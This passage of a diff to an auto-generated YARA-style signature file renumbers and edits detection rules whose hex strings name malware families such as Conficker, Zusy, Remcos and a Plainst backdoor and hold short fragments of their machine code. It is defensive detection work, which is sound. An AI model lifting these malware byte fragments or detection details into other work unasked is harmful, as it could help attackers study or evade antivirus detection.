5f 50 69 70 65 43 6d 64 4d 67 72 05 00 11 01 49 6f 5f 52 65 73 74 61 72 74 4e 65 6d 65 73 69 73 00 00 78 5c 00 00 19 00 19 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 0f 00 11 01 c7 04 24 e8 } //28482 condition: - ((#a_69_0 & 1)*16675+(#a_65_1 & 1)*29806+(#a_74_2 & 1)*28524+(#a_6d_4 & 1)*19969+(#a_74_5 & 1)*29264+(#a_63_6 & 1)*29549) >=6 + ((#a_69_0 & 1)*16675+(#a_65_1 & 1)*29806+(#a_42_2 & 1)*19529+(#a_d2_3 & 1)*-11683+(#a_08_4 & 1)*22551+(#a_6f_7 & 1)*28534+(#a_74_8 & 1)*28482) >=6 } -rule _InfrastructureShared_4867{ +rule _InfrastructureShared_5073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -50349,31 +52470,63 @@ rule _InfrastructureShared_4867{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_4868{ +rule _InfrastructureShared_5074{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 61 72 79 73 2e 5a 43 57 21 4d 54 42 00 0a 00 30 03 01 25 47 09 20 00 01 00 00 5d d2 61 d2 52 07 09 8f 90 01 01 00 00 01 25 47 09 20 00 01 00 00 5d d2 61 d2 52 09 17 58 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=10 + +} +rule _InfrastructureShared_5075{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 44 41 21 4d 54 42 00 0a 00 2e 03 02 8e 69 8d 90 01 04 0a 03 6f 90 01 04 0b 16 0c 2b 15 06 08 02 08 91 03 08 07 5d 6f 90 01 04 61 d2 9c 08 17 58 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=10 + +} +rule _InfrastructureShared_5076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " strings : $a_6c_0 = {64 69 6d 69 72 5f 65 78 70 6c 6f 69 74 2e 34 00 0a 00 0d 03 b2 02 00 00 90 02 40 6a 02 00 00 90 00 0a 00 0e 03 b2 02 00 00 75 90 02 91 6a 02 00 00 90 00 0a 00 0c 03 b2 02 75 09 90 02 40 6a 02 75 90 00 01 00 07 01 49 73 4d 65 6e 75 00 00 00 78 5c 00 00 0f 00 0f 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 6f } //30243 - $a_61_1 = {68 2e 42 00 05 00 0b 01 4e 65 6d 65 73 69 73 2e 64 6c 6c 05 00 0e 01 43 6d 64 5f 50 69 70 65 43 6d 64 4d 67 72 05 00 11 01 49 6f 5f 52 65 73 74 61 72 74 4e 65 6d 65 73 69 73 00 00 78 5c 00 00 1e 00 1e 00 03 00 21 23 48 53 54 52 3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 43 6f 6e 66 69 63 6b 65 72 2e 42 2e 31 00 0a 00 0e 01 56 69 72 74 75 61 6c 50 } //29807 - $a_65_2 = {74 0a 00 0c 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 0a 00 0e 01 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 78 5c 00 00 1e 00 1e 00 03 00 21 23 54 45 4c 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 50 6c 61 69 6e 73 74 2e 42 21 64 68 61 00 0a 00 09 01 57 67 75 77 6e 75 75 42 29 0a 00 0f 01 47 77 6f 70 25 4e 68 76 6d 73 69 63 6e 69 } //28530 + $a_61_1 = {68 2e 42 00 05 00 0b 01 4e 65 6d 65 73 69 73 2e 64 6c 6c 05 00 0e 01 43 6d 64 5f 50 69 70 65 43 6d 64 4d 67 72 05 00 11 01 49 6f 5f 52 65 73 74 61 72 74 4e 65 6d 65 73 69 73 00 00 78 5c 00 00 19 00 19 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 0f 00 11 01 c7 04 24 e8 03 00 00 a1 58 } //29807 + $a_ff_2 = {83 ec 04 0a 00 1c 01 8b 55 f4 89 d0 c1 e0 02 01 d0 c1 e0 02 8d 14 01 8b 45 d0 89 42 04 8b 0d 44 40 a5 6c 00 00 78 5c 00 00 1e 00 1e 00 03 00 21 23 48 53 54 52 3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 43 6f 6e 66 69 63 6b 65 72 2e 42 2e 31 00 0a 00 0e 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 0a 00 0c 01 56 69 72 74 75 61 6c } //-23197 + $a_6f_3 = {0a 00 0e 01 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 78 5c 00 00 1e 00 1e 00 03 00 21 23 54 45 4c 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 50 6c 61 69 6e 73 74 2e 42 21 64 68 61 00 0a 00 09 01 57 67 75 77 6e 75 75 42 29 0a 00 0f 01 47 77 6f 70 25 4e 68 76 6d 73 69 63 6e 69 3f 0a 00 0a 01 56 75 64 6b } //27713 condition: - ((#a_6c_0 & 1)*30243+(#a_61_1 & 1)*29807+(#a_65_2 & 1)*28530) >=11 + ((#a_6c_0 & 1)*30243+(#a_61_1 & 1)*29807+(#a_ff_2 & 1)*-23197+(#a_6f_3 & 1)*27713) >=11 } -rule _InfrastructureShared_4869{ +rule _InfrastructureShared_5077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 6f 6f 74 72 61 73 68 2e 42 00 05 00 0b 01 4e 65 6d 65 73 69 73 2e 64 6c 6c 05 00 0e 01 43 6d 64 5f 50 69 70 65 43 6d 64 4d 67 72 05 00 11 01 49 6f 5f 52 65 73 74 61 } //21539 - $a_65_1 = {65 73 69 73 00 00 78 5c 00 00 1e 00 1e 00 03 00 21 23 48 53 54 52 3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 43 6f 6e 66 69 63 6b 65 72 2e 42 2e 31 00 0a 00 0e 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 0a 00 0c 01 56 69 72 74 75 61 6c 41 } //29810 - $a_63_2 = {00 0e 01 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 78 5c 00 00 1e 00 1e 00 03 00 21 23 54 45 4c 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 50 6c 61 69 6e 73 74 2e 42 21 64 68 61 00 0a 00 09 01 57 67 75 77 6e 75 75 42 29 0a 00 0f 01 47 77 6f 70 25 4e 68 76 6d 73 69 63 6e 69 3f 0a 00 0a 01 56 75 64 6b 6a 40 27 82 } //27756 + $a_65_1 = {65 73 69 73 00 00 78 5c 00 00 19 00 19 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 0f 00 11 01 c7 04 24 e8 03 00 00 a1 58 63 a5 6c ff d0 83 ec 04 0a 00 1c 01 8b 55 f4 89 d0 c1 } //29810 + $a_d0_2 = {e0 } //736 condition: - ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*29810+(#a_63_2 & 1)*27756) >=15 + ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*29810+(#a_d0_2 & 1)*736) >=15 } -rule _InfrastructureShared_4870{ +rule _InfrastructureShared_5078{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 0f 00 11 01 c7 04 24 e8 03 00 00 a1 58 63 a5 6c ff d0 83 ec 04 0a 00 1c 01 8b 55 f4 89 d0 c1 e0 02 01 d0 c1 e0 02 8d 14 01 8b 45 d0 } //21539 + $a_8b_1 = {44 40 a5 6c } //17033 + condition: + ((#a_4c_0 & 1)*21539+(#a_8b_1 & 1)*17033) >=25 + +} +rule _InfrastructureShared_5079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -50384,7 +52537,7 @@ rule _InfrastructureShared_4870{ ((#a_54_0 & 1)*18467+(#a_23_2 & 1)*3) >=30 } -rule _InfrastructureShared_4871{ +rule _InfrastructureShared_5080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -50395,7 +52548,7 @@ rule _InfrastructureShared_4871{ ((#a_4c_0 & 1)*21539+(#a_6a_1 & 1)*25717) >=30 } -rule _InfrastructureShared_4872{ +rule _InfrastructureShared_5081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -50405,7 +52558,7 @@ rule _InfrastructureShared_4872{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_4873{ +rule _InfrastructureShared_5082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -50415,7 +52568,7 @@ rule _InfrastructureShared_4873{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_4874{ +rule _InfrastructureShared_5083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50425,7 +52578,7 @@ rule _InfrastructureShared_4874{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4875{ +rule _InfrastructureShared_5084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50435,7 +52588,7 @@ rule _InfrastructureShared_4875{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4876{ +rule _InfrastructureShared_5085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50445,7 +52598,7 @@ rule _InfrastructureShared_4876{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4877{ +rule _InfrastructureShared_5086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50455,7 +52608,7 @@ rule _InfrastructureShared_4877{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4878{ +rule _InfrastructureShared_5087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50465,7 +52618,7 @@ rule _InfrastructureShared_4878{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4879{ +rule _InfrastructureShared_5088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50475,7 +52628,7 @@ rule _InfrastructureShared_4879{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4880{ +rule _InfrastructureShared_5089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50485,7 +52638,7 @@ rule _InfrastructureShared_4880{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4881{ +rule _InfrastructureShared_5090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50495,7 +52648,7 @@ rule _InfrastructureShared_4881{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4882{ +rule _InfrastructureShared_5091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50505,7 +52658,7 @@ rule _InfrastructureShared_4882{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4883{ +rule _InfrastructureShared_5092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50515,7 +52668,7 @@ rule _InfrastructureShared_4883{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4884{ +rule _InfrastructureShared_5093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50525,7 +52678,7 @@ rule _InfrastructureShared_4884{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4885{ +rule _InfrastructureShared_5094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50535,7 +52688,7 @@ rule _InfrastructureShared_4885{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4886{ +rule _InfrastructureShared_5095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50545,7 +52698,7 @@ rule _InfrastructureShared_4886{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4887{ +rule _InfrastructureShared_5096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50555,7 +52708,7 @@ rule _InfrastructureShared_4887{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4888{ +rule _InfrastructureShared_5097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50565,7 +52718,7 @@ rule _InfrastructureShared_4888{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4889{ +rule _InfrastructureShared_5098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50575,7 +52728,7 @@ rule _InfrastructureShared_4889{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4890{ +rule _InfrastructureShared_5099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50585,7 +52738,7 @@ rule _InfrastructureShared_4890{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4891{ +rule _InfrastructureShared_5100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50595,7 +52748,7 @@ rule _InfrastructureShared_4891{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4892{ +rule _InfrastructureShared_5101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50605,7 +52758,7 @@ rule _InfrastructureShared_4892{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4893{ +rule _InfrastructureShared_5102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50615,7 +52768,7 @@ rule _InfrastructureShared_4893{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4894{ +rule _InfrastructureShared_5103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50625,7 +52778,7 @@ rule _InfrastructureShared_4894{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4895{ +rule _InfrastructureShared_5104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50635,7 +52788,7 @@ rule _InfrastructureShared_4895{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4896{ +rule _InfrastructureShared_5105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50645,7 +52798,7 @@ rule _InfrastructureShared_4896{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4897{ +rule _InfrastructureShared_5106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50655,7 +52808,7 @@ rule _InfrastructureShared_4897{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4898{ +rule _InfrastructureShared_5107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50665,7 +52818,7 @@ rule _InfrastructureShared_4898{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4899{ +rule _InfrastructureShared_5108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50675,7 +52828,7 @@ rule _InfrastructureShared_4899{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4900{ +rule _InfrastructureShared_5109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50685,7 +52838,7 @@ rule _InfrastructureShared_4900{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4901{ +rule _InfrastructureShared_5110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50695,7 +52848,7 @@ rule _InfrastructureShared_4901{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4902{ +rule _InfrastructureShared_5111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50705,7 +52858,7 @@ rule _InfrastructureShared_4902{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4903{ +rule _InfrastructureShared_5112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50715,7 +52868,7 @@ rule _InfrastructureShared_4903{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4904{ +rule _InfrastructureShared_5113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50725,7 +52878,7 @@ rule _InfrastructureShared_4904{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4905{ +rule _InfrastructureShared_5114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50735,7 +52888,7 @@ rule _InfrastructureShared_4905{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4906{ +rule _InfrastructureShared_5115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50745,7 +52898,7 @@ rule _InfrastructureShared_4906{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4907{ +rule _InfrastructureShared_5116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50755,7 +52908,7 @@ rule _InfrastructureShared_4907{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4908{ +rule _InfrastructureShared_5117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50765,7 +52918,7 @@ rule _InfrastructureShared_4908{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4909{ +rule _InfrastructureShared_5118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50775,7 +52928,7 @@ rule _InfrastructureShared_4909{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4910{ +rule _InfrastructureShared_5119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50785,7 +52938,7 @@ rule _InfrastructureShared_4910{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4911{ +rule _InfrastructureShared_5120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50795,7 +52948,7 @@ rule _InfrastructureShared_4911{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4912{ +rule _InfrastructureShared_5121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50805,7 +52958,7 @@ rule _InfrastructureShared_4912{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4913{ +rule _InfrastructureShared_5122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50815,7 +52968,7 @@ rule _InfrastructureShared_4913{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4914{ +rule _InfrastructureShared_5123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50825,7 +52978,7 @@ rule _InfrastructureShared_4914{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4915{ +rule _InfrastructureShared_5124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50835,7 +52988,7 @@ rule _InfrastructureShared_4915{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4916{ +rule _InfrastructureShared_5125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50845,7 +52998,7 @@ rule _InfrastructureShared_4916{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4917{ +rule _InfrastructureShared_5126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50855,7 +53008,7 @@ rule _InfrastructureShared_4917{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4918{ +rule _InfrastructureShared_5127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50865,7 +53018,7 @@ rule _InfrastructureShared_4918{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4919{ +rule _InfrastructureShared_5128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50875,7 +53028,7 @@ rule _InfrastructureShared_4919{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4920{ +rule _InfrastructureShared_5129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50885,7 +53038,7 @@ rule _InfrastructureShared_4920{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4921{ +rule _InfrastructureShared_5130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50895,7 +53048,7 @@ rule _InfrastructureShared_4921{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4922{ +rule _InfrastructureShared_5131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50905,7 +53058,7 @@ rule _InfrastructureShared_4922{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4923{ +rule _InfrastructureShared_5132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50915,7 +53068,7 @@ rule _InfrastructureShared_4923{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4924{ +rule _InfrastructureShared_5133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50925,7 +53078,7 @@ rule _InfrastructureShared_4924{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4925{ +rule _InfrastructureShared_5134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50935,7 +53088,7 @@ rule _InfrastructureShared_4925{ ((#a_6c_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4926{ +rule _InfrastructureShared_5135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50945,7 +53098,7 @@ rule _InfrastructureShared_4926{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4927{ +rule _InfrastructureShared_5136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50955,7 +53108,7 @@ rule _InfrastructureShared_4927{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4928{ +rule _InfrastructureShared_5137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50965,7 +53118,7 @@ rule _InfrastructureShared_4928{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4929{ +rule _InfrastructureShared_5138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50975,7 +53128,7 @@ rule _InfrastructureShared_4929{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4930{ +rule _InfrastructureShared_5139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50985,7 +53138,7 @@ rule _InfrastructureShared_4930{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4931{ +rule _InfrastructureShared_5140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -50995,7 +53148,17 @@ rule _InfrastructureShared_4931{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4932{ +rule _InfrastructureShared_5141{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 6d 63 6f 73 2e 41 52 53 4d 21 4d 54 42 00 01 00 2d 03 68 9c 85 46 00 68 40 ed 46 00 50 ff 15 90 01 04 83 c4 0c 8d 85 00 f8 ff ff 33 c9 51 51 50 68 a0 ed 46 00 68 c0 ed 46 00 51 ff 15 90 00 00 00 78 5d } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_5142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -51005,7 +53168,7 @@ rule _InfrastructureShared_4932{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4933{ +rule _InfrastructureShared_5143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -51015,7 +53178,7 @@ rule _InfrastructureShared_4933{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4934{ +rule _InfrastructureShared_5144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -51025,7 +53188,7 @@ rule _InfrastructureShared_4934{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4935{ +rule _InfrastructureShared_5145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -51035,7 +53198,7 @@ rule _InfrastructureShared_4935{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4936{ +rule _InfrastructureShared_5146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -51045,7 +53208,7 @@ rule _InfrastructureShared_4936{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4937{ +rule _InfrastructureShared_5147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -51055,7 +53218,7 @@ rule _InfrastructureShared_4937{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4938{ +rule _InfrastructureShared_5148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -51065,7 +53228,7 @@ rule _InfrastructureShared_4938{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4939{ +rule _InfrastructureShared_5149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -51075,7 +53238,7 @@ rule _InfrastructureShared_4939{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4940{ +rule _InfrastructureShared_5150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -51085,7 +53248,7 @@ 